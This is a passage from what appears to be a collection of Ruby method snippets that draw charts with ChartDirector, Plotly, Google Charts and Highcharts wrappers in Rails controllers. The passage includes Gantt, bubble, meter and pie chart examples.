{}\n\n self.title = chart_title\n self.labels = chart_data[:labels] || []\n left_data = chart_data[:left] || []\n right_data = chart_data[:right] || []\n\n theme_keynote\n\n initialize_ivars((@columns/DEFAULT_TARGET_WIDTH).to_f, left_data, right_data, max_value)\n\n theme_keynote\n end", "def getchart()\n # Use random table to generate a random series. The random table is set to 1 col x\n # 51 rows, with 9 as the seed\n rantable = ChartDirector::RanTable.new(9, 1, 51)\n\n # Set the 1st column to start from 100, with changes between rows from -5 to +5\n rantable.setCol(0, 100, -5, 5)\n\n # Get the 1st column of the random table as the data set\n data = rantable.getCol(0)\n\n # Create a XYChart object of size 600 x 300 pixels\n c = ChartDirector::XYChart.new(600, 300)\n\n # Set the plotarea at (50, 35) and of size 500 x 240 pixels. Enable both the\n # horizontal and vertical grids by setting their colors to grey (0xc0c0c0)\n c.setPlotArea(50, 35, 500, 240).setGridColor(0xc0c0c0, 0xc0c0c0)\n\n # Add a title to the chart using 18 point Times Bold Itatic font.\n c.addTitle(\"LOWESS Generic Curve Fitting Algorithm\", \"timesbi.ttf\", 18)\n\n # Set the y axis line width to 3 pixels\n c.yAxis().setWidth(3)\n\n # Add a title to the x axis using 12 pts Arial Bold Italic font\n c.xAxis().setTitle(\"Server Load (TPS)\", \"arialbi.ttf\", 12)\n\n # Set the x axis line width to 3 pixels\n c.xAxis().setWidth(3)\n\n # Set the x axis scale from 0 - 50, with major tick every 5 units and minor tick\n # every 1 unit\n c.xAxis().setLinearScale(0, 50, 5, 1)\n\n # Add a blue layer to the chart\n layer = c.addLineLayer2()\n\n # Add a red (0x80ff0000) data set to the chart with square symbols\n layer.addDataSet(data, 0x80ff0000).setDataSymbol(ChartDirector::SquareSymbol)\n\n # Set the line width to 2 pixels\n layer.setLineWidth(2)\n\n # Use lowess for curve fitting, and plot the fitted data using a spline layer with\n # line width set to 3 pixels\n c.addSplineLayer(ChartDirector::ArrayMath.new(data).lowess().result(), 0x0000ff\n ).setLineWidth(3)\n\n # Set zero affinity to 0 to make sure the line is displayed in the most detail\n # scale\n c.yAxis().setAutoScale(0, 0, 0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def draw_plotly_chart(chart_div, data, title, height, width, type)\n %(\n var data = [{\n values: #{data.map(&:last)},\n labels: #{data.map{|x| fir(x)}},\n hole: #{type},\n type: 'pie'\n }];\n\n var layout = {\n title: '#{title}',\n titlefont: {\n size: 12,\n color: 'black'\n },\n height: #{height + data.size * 15}, // Each legend entry is 15 high.\n width: #{width},\n showlegend: true,\n\t legend: {\n \"orientation\": \"h\"\n }\n };\n\n Plotly.newPlot('plotly_chart_div_#{chart_div}', data, layout);\n )\nend", "def getchart()\n # The tasks for the gantt chart\n labels = [\"Market Research\", \"Define Specifications\", \"Overall Archiecture\",\n \"Project Planning\", \"Detail Design\", \"Software Development\", \"Test Plan\",\n \"Testing and QA\", \"User Documentation\"]\n\n # The task index, start date, end date and color for each bar\n taskNo = [0, 0, 1, 2, 3, 4, 5, 6, 6, 7, 8, 8]\n startDate = [Time.mktime(2004, 8, 16), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 8, 30), Time.mktime(2004, 9, 13), Time.mktime(2004, 9, 20), Time.mktime(2004,\n 9, 27), Time.mktime(2004, 10, 4), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 10, 25), Time.mktime(2004, 11, 1), Time.mktime(2004, 10, 18), Time.mktime(\n 2004, 11, 8)]\n endDate = [Time.mktime(2004, 8, 30), Time.mktime(2004, 10, 18), Time.mktime(2004,\n 9, 13), Time.mktime(2004, 9, 27), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 10, 11), Time.mktime(2004, 11, 8), Time.mktime(2004, 10, 18), Time.mktime(\n 2004, 11, 8), Time.mktime(2004, 11, 22), Time.mktime(2004, 11, 1),\n Time.mktime(2004, 11, 22)]\n colors = [0x00cc00, 0x00cc00, 0x00cc00, 0x0000cc, 0x0000cc, 0xcc0000, 0xcc0000,\n 0x0000cc, 0xcc0000, 0xcc0000, 0x00cc00, 0xcc0000]\n\n # Create a XYChart object of size 620 x 325 pixels. Set background color to light\n # red (0xffcccc), with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(620, 325, 0xffcccc, 0x000000, 1)\n\n # Add a title to the chart using 15 points Times Bold Itatic font, with white\n # (ffffff) text on a dark red (800000) background\n c.addTitle(\"Mutli-Color Gantt Chart Demo\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x800000)\n\n # Set the plotarea at (140, 55) and of size 460 x 200 pixels. Use alternative\n # white/grey background. Enable both horizontal and vertical grids by setting\n # their colors to grey (c0c0c0). Set vertical major grid (represents month\n # boundaries) 2 pixels in width\n c.setPlotArea(140, 55, 460, 200, 0xffffff, 0xeeeeee, ChartDirector::LineColor,\n 0xc0c0c0, 0xc0c0c0).setGridWidth(2, 1, 1, 1)\n\n # swap the x and y axes to create a horziontal box-whisker chart\n c.swapXY()\n\n # Set the y-axis scale to be date scale from Aug 16, 2004 to Nov 22, 2004, with\n # ticks every 7 days (1 week)\n c.yAxis().setDateScale(Time.mktime(2004, 8, 16), Time.mktime(2004, 11, 22),\n 86400 * 7)\n\n # Set multi-style axis label formatting. Month labels are in Arial Bold font in\n # \"mmm d\" format. Weekly labels just show the day of month and use minor tick (by\n # using '-' as first character of format string).\n c.yAxis().setMultiFormat(ChartDirector::StartOfMonthFilter(),\n \"<*font=arialbd.ttf*>{value|mmm d}\", ChartDirector::StartOfDayFilter(),\n \"-{value|d}\")\n\n # Set the y-axis to shown on the top (right + swapXY = top)\n c.setYAxisOnRight()\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Reverse the x-axis scale so that it points downwards.\n c.xAxis().setReverse()\n\n # Set the horizontal ticks and grid lines to be between the bars\n c.xAxis().setTickOffset(0.5)\n\n # Add some symbols to the chart to represent milestones. The symbols are added\n # using scatter layers. We need to specify the task index, date, name, symbol\n # shape, size and color.\n c.addScatterLayer([1], [Time.mktime(2004, 9, 13)], \"Milestone 1\",\n ChartDirector::Cross2Shape(), 13, 0xffff00)\n c.addScatterLayer([3], [Time.mktime(2004, 10, 4)], \"Milestone 2\",\n ChartDirector::StarShape(5), 15, 0xff00ff)\n c.addScatterLayer([5], [Time.mktime(2004, 11, 8)], \"Milestone 3\",\n ChartDirector::TriangleSymbol, 13, 0xff9933)\n\n # Add a multi-color box-whisker layer to represent the gantt bars\n layer = c.addBoxWhiskerLayer2(startDate, endDate, nil, nil, nil, colors)\n layer.setXData(taskNo)\n layer.setBorderColor(ChartDirector::SameAsMainColor)\n\n # Divide the plot area height ( = 200 in this chart) by the number of tasks to get\n # the height of each slot. Use 80% of that as the bar height.\n layer.setDataWidth((200 * 4 / 5 / (labels.length)).to_i)\n\n # Add a legend box at (140, 265) - bottom of the plot area. Use 8 pts Arial Bold\n # as the font with auto-grid layout. Set the width to the same width as the plot\n # area. Set the backgorund to grey (dddddd).\n legendBox = c.addLegend2(140, 265, ChartDirector::AutoGrid, \"arialbd.ttf\", 8)\n legendBox.setWidth(461)\n legendBox.setBackground(0xdddddd)\n\n # The keys for the scatter layers (milestone symbols) will automatically be added\n # to the legend box. We just need to add keys to show the meanings of the bar\n # colors.\n legendBox.addKey(\"Market Team\", 0x00cc00)\n legendBox.addKey(\"Planning Team\", 0x0000cc)\n legendBox.addKey(\"Development Team\", 0xcc0000)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The data for the chart\n dataY0 = [4, 4.5, 5, 5.25, 5.75, 5.25, 5, 4.5, 4, 3, 2.5, 2.5]\n dataX0 = [Time.mktime(1997, 1, 1), Time.mktime(1998, 6, 25), Time.mktime(1999, 9,\n 6), Time.mktime(2000, 2, 6), Time.mktime(2000, 9, 21), Time.mktime(2001, 3, 4\n ), Time.mktime(2001, 6, 8), Time.mktime(2002, 2, 4), Time.mktime(2002, 5, 19),\n Time.mktime(2002, 8, 16), Time.mktime(2002, 12, 1), Time.mktime(2003, 1, 1)]\n\n dataY1 = [7, 6.5, 6, 5, 6.5, 7, 6, 5.5, 5, 4, 3.5, 3.5]\n dataX1 = [Time.mktime(1997, 1, 1), Time.mktime(1997, 7, 1), Time.mktime(1997, 12,\n 1), Time.mktime(1999, 1, 15), Time.mktime(1999, 6, 9), Time.mktime(2000, 3, 3\n ), Time.mktime(2000, 8, 13), Time.mktime(2001, 5, 5), Time.mktime(2001, 9, 16\n ), Time.mktime(2002, 3, 16), Time.mktime(2002, 6, 1), Time.mktime(2003, 1, 1)]\n\n # Create a XYChart object of size 500 x 270 pixels, with a pale blue (e0e0ff)\n # background, black border, 1 pixel 3D border effect and rounded corners\n c = ChartDirector::XYChart.new(600, 300, 0xe0e0ff, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set the plotarea at (55, 60) and of size 520 x 200 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(50, 60, 525, 200, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a legend box at (55, 32) (top of the chart) with horizontal layout. Use 9\n # pts Arial Bold font. Set the background and border color to Transparent.\n c.addLegend(55, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The text is\n # white (ffffff) on a deep blue (000088) background, with soft lighting effect\n # from the right side.\n c.addTitle(\"Long Term Interest Rates\", \"timesbi.ttf\", 15, 0xffffff).setBackground(\n 0x000088, -1, ChartDirector::softLighting(ChartDirector::Right))\n\n # Set the y axis label format to display a percentage sign\n c.yAxis().setLabelFormat(\"{value}%\")\n\n # Add a red (ff0000) step line layer to the chart and set the line width to 2\n # pixels\n layer0 = c.addStepLineLayer(dataY0, 0xff0000, \"Country AAA\")\n layer0.setXData(dataX0)\n layer0.setLineWidth(2)\n\n # Add a blue (0000ff) step line layer to the chart and set the line width to 2\n # pixels\n layer1 = c.addStepLineLayer(dataY1, 0x0000ff, \"Country BBB\")\n layer1.setXData(dataX1)\n layer1.setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def chart\n @chart ||= Chart.new(settings)\n end", "def initialize(chart, options={})\n @xData, @yData = nil\n super(chart, options)\n\n @xData = NamedAxisData.new(\"xVal\", options[:xData]) unless options[:xData].nil?\n @yData = NamedAxisData.new(\"yVal\", options[:yData]) unless options[:yData].nil?\n end", "def pie(x, y, r, start_angle, end_angle, options={})\n cur_page.pie(x, y, r, start_angle, end_angle, options)\n end", "def createFirstChart(viewer)\n # Initialize the Javascript ChartViewer\n viewer.setScrollDirection(ChartDirector::DirectionHorizontalVertical)\n viewer.setZoomDirection(ChartDirector::DirectionHorizontalVertical)\n viewer.setMouseUsage(ChartDirector::MouseUsageScroll)\n\n # Draw the chart\n drawChart(viewer)\n end", "def getchart()\n # The XYZ points for the bubble chart\n dataX0 = [150, 300, 1000, 1700]\n dataY0 = [12, 60, 25, 65]\n dataZ0 = [20, 50, 50, 85]\n\n dataX1 = [500, 1000, 1300]\n dataY1 = [35, 50, 75]\n dataZ1 = [30, 55, 95]\n\n # Create a XYChart object of size 450 x 420 pixels\n c = ChartDirector::XYChart.new(450, 420)\n\n # Set the plotarea at (55, 65) and of size 350 x 300 pixels, with a light grey\n # border (0xc0c0c0). Turn on both horizontal and vertical grid lines with light\n # grey color (0xc0c0c0)\n c.setPlotArea(55, 65, 350, 300, -1, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a legend box at (50, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(50, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font.\n c.addTitle(\"Product Comparison Chart\", \"timesbi.ttf\", 18)\n\n # Add a title to the y axis using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Capacity (tons)\", \"arialbi.ttf\", 12)\n\n # Add a title to the x axis using 12 pts Arial Bold Italic font\n c.xAxis().setTitle(\"Range (miles)\", \"arialbi.ttf\", 12)\n\n # Set the axes line width to 3 pixels\n c.xAxis().setWidth(3)\n c.yAxis().setWidth(3)\n\n # Add (dataX0, dataY0) as a scatter layer with semi-transparent red (0x80ff3333)\n # circle symbols, where the circle size is modulated by dataZ0. This creates a\n # bubble effect.\n c.addScatterLayer(dataX0, dataY0, \"Technology AAA\", ChartDirector::CircleSymbol,\n 9, 0x80ff3333, 0x80ff3333).setSymbolScale(dataZ0)\n\n # Add (dataX1, dataY1) as a scatter layer with semi-transparent green (0x803333ff)\n # circle symbols, where the circle size is modulated by dataZ1. This creates a\n # bubble effect.\n c.addScatterLayer(dataX1, dataY1, \"Technology BBB\", ChartDirector::CircleSymbol,\n 9, 0x803333ff, 0x803333ff).setSymbolScale(dataZ1)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def index\n @pregnancies = Pregnancy.order('heat_start_date, surgery_date')\n\n @plist = @pregnancies.already_due.order('due_date').map{|x| x.dog.call_name}.to_s.html_safe \n @colors = [ [ \"#8a10ae\" ],[ \"#f45a39\" ],[ \"#fa7083\" ],[ \"#b8ad3c\" ],[ \"#2babf2\" ],[ \"#1dae30\" ],[ \"#b6932d\" ],[ \"#e24436\" ]]\n @puppy_count = Color.all.map{|c| [\"#{c.name} - (#{c.litters.size})\", c.litters.size]}.to_s.html_safe\n \n \n # @chart = LazyHighCharts::HighChart.new('graph') do |f|\n # f.chart({:type => \"column\"})\n # f.title(:text => \"Pregnancies in 2003 as #{Date.today}\")\n # f.xAxis(:categories => @pregnancies.already_due.order('due_date').map{|x| x.dog.call_name})\n \n # # f.tooltip(:formatter => \"function() { return this.x +' '+ this.y + '<br>'+' Total:' + this.point.stackTotal;}\".js_code)\n\n # f.series(:name => \"Puppies survive\", :data => @pregnancies.already_due.order('due_date').map{|x| x.litters.where(survival: true).size})\n # f.series(:name => \"Puppies not survive\", :data => @pregnancies.already_due.order('due_date').map{|x| x.litters.where(survival: false).size})\n \n # f.plotOptions({column:{\n # stacking: 'normal',\n # # pointPadding: 0,\n # groupPadding: 0, \n # dataLabels:{\n # enabled: true,\n # color: 'white'}\n # }})\n\n # f.yAxis( \n # title: { text: \"Puppies\", margin: 50},\n # stackLabels: {\n # style: {color: 'gray'},\n # enabled: true}\n # )\n\n # f.series(:type => \"pie\", :name=> 'puppies', \n # :center=> [150, 80], :size=> 150, :showInLegend=> false,\n # :data =>Color.all.map{|c| [\"#{c.name} - (#{c.litters.size})\", c.litters.size]},\n # :colors => @colors)\n # end\n\n # @colors = Color.all.map{|c| [\"##{rand(0xffffff).to_s(16)}\"]}\n # @chart3 = LazyHighCharts::HighChart.new('pie') do |f|\n # f.chart({:defaultSeriesType=>\"pie\" , :margin=> [50, 50, 50, 50]})\n # series = {\n # :type=> 'pie',\n # :name=> 'Browser share',\n # :data=> Color.all.map{|c| [\"#{c.name} - (#{c.litters.size})\", c.litters.size]},\n # # :data => Pregnancy.set_value( Color.all.map{|c| [c.name, c.litters.size]} ),\n # :colors => @colors,\n # showInLegend: false\n # }\n\n # f.series(series)\n # f.options[:title][:text] = \"Puppies by colors\"\n # f.legend(:layout=> 'vertical',:width => 220,:borderWidth => 0, align: 'left', verticalAlign: 'middle') \n # f.plot_options(:pie=>{\n # :allowPointSelect=>true, \n # :cursor=>\"pointer\" , \n # :dataLabels=>{\n # :enabled=>true,\n # :color=>\"black\"\n # }\n # })\n # end\n\n # @chart1 = LazyHighCharts::HighChart.new('graph') do |f|\n # f.title({ :text=>\"Combination chart\"})\n # f.options[:xAxis][:categories] = ['Apples', 'Oranges', 'Pears', 'Bananas', 'Plums']\n # f.labels(:items=>[:html=>\"Total fruit consumption\", :style=>{:left=>\"40px\", :top=>\"8px\", :color=>\"black\"} ]) \n # f.series(:type=> 'column',:name=> 'Jane',:data=> [3, 2, 1, 3, 4])\n # f.series(:type=> 'column',:name=> 'John',:data=> [2, 3, 5, 7, 6])\n # f.series(:type=> 'column', :name=> 'Joe',:data=> [4, 3, 3, 9, 0])\n # f.series(:type=> 'column', :name=> 'Joe',:data=> [4, 3, 3, 9, 0])\n # f.series(:type=> 'spline',:name=> 'Average', :data=> [3, 2.67, 3, 6.33, 3.33])\n # f.series(:type=> 'pie',:name=> 'Total consumption', \n # :data=> [\n # {:name=> 'Jane', :y=> 13, :color=> 'red'}, \n # {:name=> 'John', :y=> 23,:color=> 'green'},\n # {:name=> 'Joe', :y=> 19,:color=> 'blue'}\n # ],\n # :center=> [100, 80], :size=> 100, :showInLegend=> false)\n # end \n\n # @chart2 = LazyHighCharts::HighChart.new('graph') do |f|\n # f.title(:text => \"Population vs GDP For 5 Big Countries [2009]\")\n # f.xAxis(:categories => [\"United States\", \"Japan\", \"China\", \"Germany\", \"France\"])\n # f.series(:name => \"GDP in Billions\", :yAxis => 0, :data => [14119, 5068, 4985, 3399, 2656])\n # f.series(:name => \"Population in Millions\", :yAxis => 1, :data => [310,127,1340,81,65])\n\n # f.yAxis [\n # {:title => {:text => \"GDP in Billions\", :margin => 70}},\n # {:title => {:text => \"Population in Millions\"}, :opposite => true},\n # ]\n # f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n # f.chart({:defaultSeriesType => \"column\"})\n # end\n # @chart3 = LazyHighCharts::HighChart.new('pie') do |f|\n # f.chart({:defaultSeriesType=>\"pie\" , :margin=> [50, 200, 60, 170]} )\n # series = {\n # :type=> 'pie',\n # :name=> 'Browser share',\n # :data=> [\n # ['Firefox', 45.0],\n # ['IE', 26.8],\n # {\n # :name=> 'Chrome', \n # :y=> 12.8,\n # :sliced=> true,\n # :selected=> true\n # },\n # ['Safari', 8.5],\n # ['Opera', 6.2],\n # ['Others', 0.7]\n # ]\n # }\n # f.series(series)\n # f.options[:title][:text] = \"THA PIE\"\n # f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n # f.plot_options(:pie=>{\n # :allowPointSelect=>true, \n # :cursor=>\"pointer\" , \n # :dataLabels=>{\n # :enabled=>true,\n # :color=>\"black\",\n # :style=>{\n # :font=>\"13px Trebuchet MS, Verdana, sans-serif\"\n # }\n # }\n # })\n # end\n\n # @chart4 = LazyHighCharts::HighChart.new('column') do |f|\n # f.series(:name=>'John',:data=> [3, 20, 3, 5, 4, 10, 12 ])\n # f.series(:name=>'Jane',:data=>[1, 3, 4, 3, 3, 5, 4,-46] ) \n # f.title({ :text=>\"example test title from controller\"})\n\n # ### Options for Bar\n # ### f.options[:chart][:defaultSeriesType] = \"bar\"\n # ### f.plot_options({:series=>{:stacking=>\"normal\"}})\n\n # ## or options for column\n # f.options[:chart][:defaultSeriesType] = \"column\"\n # f.plot_options({:column=>{:stacking=>\"percent\"}})\n # end\n\n\n \n\n respond_to do |format|\n format.html\n format.csv {send_data @pregnancies.to_csv}\n format.xls #{send_data @pregnancies.to_csv(col_sep: \"\\t\")}\n end\n end", "def render\n labels = []\n values = []\n @data.each do |label, value|\n labels << CGI::escape(label)\n values << (value > 0 ? value * 100 / @max : value).round.to_s\n end\n params = {:cht => 'p', :chs => \"#{width}x#{height}\", :chd => \"t:#{values.join(',')}\", :chl => labels.join('|') }\n params['chco'] = color if color\n\n url = \"http://chart.apis.google.com/chart?#{to_query(params)}\"\n\n alt_msg = \"This pie chart is generated by Google Charts. You must be connected to the Internet to view this chart.\"\n html = \"<img id=\\\"pie_chart_image\\\" src=\\\"#{url}\\\" alt=\\\"#{alt_msg}\\\"/>\"\n return html\n end", "def getMeasurement\n#measurements\n#TODO check that this needs to be called, currently it always calls it.\n#if @chartoptions[:measurement][0] || @chartoptions[:measurement][1] || @chartoptions[:measurement][2]\n\n\n @set5 = ChartItem.new(\"Measurement:Chest\")\n\n @set6 = ChartItem.new(\"Measurement:Upper Belly\")\n\n @set7 = ChartItem.new(\"Measurement:Hip\")\n \n @set8 = ChartItem.new(\"Measurement:Thigh\")\n\n @set10 = ChartItem.new(\"Measurement:Arm\")\n\n \n \n \n \n meas1, meas2, meas3, meas4, meas5, meas6, meas7, meas8, meas9, meas10, meas11, meas12, meas13 = [],[],[],[],[],[],[],[],[],[],[],[],[]\n \n meas1_avg, meas2_avg, meas3_avg, meas4_avg, meas5_avg, meas6_avg, meas7_avg, meas8_avg, meas9_avg, meas10_avg, meas11_avg, meas12_avg, meas13_avg = [],[],[],[],[],[],[],[],[],[],[],[],[]\n \n \n meas1_count, meas2_count, meas3_count, meas4_count, meas5_count, meas6_count, meas7_count, meas8_count, meas9_count, meas10_count, meas11_count, meas12_count, meas13_count = 0,0,0,0,0,0,0,0 ,0,0,0,0,0\n \n meas1_sum, meas2_sum, meas3_sum, meas4_sum, meas5_sum, meas6_sum, meas7_sum, meas8_sum , meas9_sum, meas10_sum, meas11_sum, meas12_sum, meas13_sum = 0,0,0,0,0,0,0,0,0,0,0,0,0 \n \n for measurement in @measurement\n \n \n if !(measurement.chest.nil? ) && ( @chartoptions[:measurement_chest][0] || @chartoptions[:measurement_chest][1] || @chartoptions[:measurement][0] || @chartoptions[:measurement][1]) \n meas6_count += 1 \n meas6_sum += measurement.chest \n @set5.addPoint(measurement.date.to_time.to_i * 1000,measurement.chest)\n \n end \n \n if !(measurement.belly_upper.nil? ) && ( @chartoptions[:measurement_upper_belly][0]) \n @set6.addPoint(measurement.date.to_time.to_i * 1000, measurement.belly_upper)\n end \n \n if !(measurement.hips.nil? ) && (@chartoptions[:measurement_hip][0] ) \n \n @set7.addPoint(measurement.date.to_time.to_i * 1000,measurement.hips)\n \n end \n \n\n if @chartoptions[:measurement_thigh][0]\n @set8.addPoint(measurement.date.to_time.to_i * 1000,measurement.thigh)\n end \n \n\n \n if !(measurement.arm.nil? && measurement.arm == 0 ) && (@chartoptions[:measurement_arm][0]) \n\n @set10.addPoint(measurement.date.to_time.to_i * 1000,measurement.arm)\n\n end \n\n \n \n end \n# ----------------------------------\n# now start adding them to the chart\n# ---------------------------------- \n #if @chartoptions[:measurement][0]\n \n if (@chartoptions[:measurement_chest][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set5)\n end \n if (@chartoptions[:measurement_upper_belly][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set6) \n end \n if (@chartoptions[:measurement_hip][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set7)\n end \n\n if (@chartoptions[:measurement_thigh][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set8)\n end \n\n if (@chartoptions[:measurement_arm][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set10)\n end \n \n\n#end # if @chartoptions[:measurments] \nend", "def graph\n @data = @category.to_graph_points\n\n @series = [{ values: @data, key: @category.name }]\n\n @title = \"Spending for #{@category.name}\"\n end", "def index\n @projects = Project.all\n @statuses = Status.all\n i = 0\n j=0\n cont=0\n graphs = Array.new(@projects.length)\n @charts = Array.new(@projects.length) \n @projects.each do |p|\n graphs[j] = GoogleVisualr::DataTable.new\n graphs[j].new_column('string', 'Estatus') \n graphs[j].new_column('number', 'Hours per Day')\n graphs[j].add_rows(4)\n graphs[j].set_cell(0, 0, 'No Iniciado' )\n graphs[j].set_cell(1, 0, 'Aceptado' )\n graphs[j].set_cell(2, 0, 'No Aceptado' )\n graphs[j].set_cell(3, 0, 'Listo' )\n @statuses.each do |st|\n s = Story.where(\"status_id = ? AND project_id = ?\", st.id, p.id)\n graphs[j].set_cell(i, 1, s.length )\n cont+=s.length\n i+=1\n end\n opts = { :width => 600, :height => 400, :title => p.nombre + ' - Total Features: '+ cont.to_s, :colors => ['#dc3912', '#109618', '#ff9900', '#3366cc'], :is3D => true, :backgroundColor => '#f5f5f5' }\n @charts[j] = GoogleVisualr::Interactive::PieChart.new(graphs[j], opts)\n i = 0\n cont = 0\n j+=1\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charts }\n end\n end", "def chart_options\n {}\n end", "def getchart()\n # The XY data of the first data series\n dataX0 = [50, 55, 37, 24, 42, 49, 63, 72, 83, 59]\n dataY0 = [3.6, 2.8, 2.5, 2.3, 3.8, 3.0, 3.8, 5.0, 6.0, 3.3]\n\n # The XY data of the second data series\n dataX1 = [50, 55, 37, 24, 42, 49, 63, 72, 83, 59]\n dataY1 = [1.6, 1.8, 0.8, 0.5, 1.3, 1.5, 2.3, 2.4, 2.9, 1.5]\n\n # Create a XYChart object of size 450 x 420 pixels\n c = ChartDirector::XYChart.new(450, 420)\n\n # Set the plotarea at (55, 65) and of size 350 x 300 pixels, with white background\n # and a light grey border (0xc0c0c0). Turn on both horizontal and vertical grid\n # lines with light grey color (0xc0c0c0)\n c.setPlotArea(55, 65, 350, 300, 0xffffff, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a legend box at (50, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(50, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 point Times Bold Itatic font.\n c.addTitle(\"Server Performance\", \"timesbi.ttf\", 18)\n\n # Add titles to the axes using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Response Time (sec)\", \"arialbi.ttf\", 12)\n c.xAxis().setTitle(\"Server Load (TPS)\", \"arialbi.ttf\", 12)\n\n # Set the axes line width to 3 pixels\n c.yAxis().setWidth(3)\n c.xAxis().setWidth(3)\n\n # Add a scatter layer using (dataX0, dataY0)\n c.addScatterLayer(dataX0, dataY0, \"Server AAA\", ChartDirector::DiamondSymbol, 11,\n 0x008000)\n\n # Add a trend line layer for (dataX0, dataY0)\n c.addTrendLayer2(dataX0, dataY0, 0x008000).setLineWidth(3)\n\n # Add a scatter layer for (dataX1, dataY1)\n c.addScatterLayer(dataX1, dataY1, \"Server BBB\", ChartDirector::TriangleSymbol, 9,\n 0x6666ff)\n\n # Add a trend line layer for (dataX1, dataY1)\n c.addTrendLayer2(dataX1, dataY1, 0x6666ff).setLineWidth(3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The value to display on the meter\n value = 4.75\n\n # Create an AugularMeter object of size 110 x 110 pixels, using silver background\n # color with a black 2 pixel 3D depressed border.\n m = ChartDirector::AngularMeter.new(110, 110, ChartDirector::silverColor(),\n 0x000000, -2)\n\n # Set meter appearance according to a parameter\n if params[\"img\"] == \"0\"\n # Set the meter center at bottom left corner (15, 95), with radius 85 pixels.\n # Meter spans from 90 - 0 degrees.\n m.setMeter(15, 95, 85, 90, 0)\n # Add a label to the meter centered at (35, 75)\n m.addText(35, 75, \"VDC\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top right corner (103, 7)\n m.addText(103, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"1\"\n # Set the meter center at top left corner (15, 15), with radius 85 pixels.\n # Meter spans from 90 - 180 degrees.\n m.setMeter(15, 15, 85, 90, 180)\n # Add a label to the meter centered at (35, 35)\n m.addText(35, 35, \"AMP\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom right corner (103, 103)\n m.addText(103, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"2\"\n # Set the meter center at top right corner (15, 95), with radius 85 pixels.\n # Meter spans from 270 - 180 degrees.\n m.setMeter(95, 15, 85, 270, 180)\n # Add a label to the meter centered at (75, 35)\n m.addText(75, 35, \"KW\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom left corner (7, 103)\n m.addText(7, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomLeft).setBackground(0, 0, -1)\n else\n # Set the meter center at bottom right corner (95, 95), with radius 85 pixels.\n # Meter spans from 270 - 360 degrees.\n m.setMeter(95, 95, 85, 270, 360)\n # Add a label to the meter centered at (75, 75)\n m.addText(75, 75, \"RPM\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top left corner (7, 7)\n m.addText(7, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopLeft).setBackground(0, 0, -1)\n end\n\n # Meter scale is 0 - 10, with a major tick every 2 units, and minor tick every 1\n # unit\n m.setScale(0, 10, 2, 1)\n\n # Set 0 - 6 as green (99ff99) zone, 6 - 8 as yellow (ffff00) zone, and 8 - 10 as\n # red (ff3333) zone\n m.addZone(0, 6, 0x99ff99, 0x808080)\n m.addZone(6, 8, 0xffff00, 0x808080)\n m.addZone(8, 10, 0xff3333, 0x808080)\n\n # Add a semi-transparent black (80000000) pointer at the specified value\n m.addPointer(value, 0x80000000)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def view_question_stat\n @question=Question.find(params[:id])\n @responses=Response.find_all_by_question_id(@question.id)\n @age1=(@responses.map { |i| i.user.id } & User.all(:conditions => [\"age < ?\", 18]).map { |i| i.id }).count\n @age2=(@responses.map { |i| i.user.id } & User.all(:conditions => [\"age > 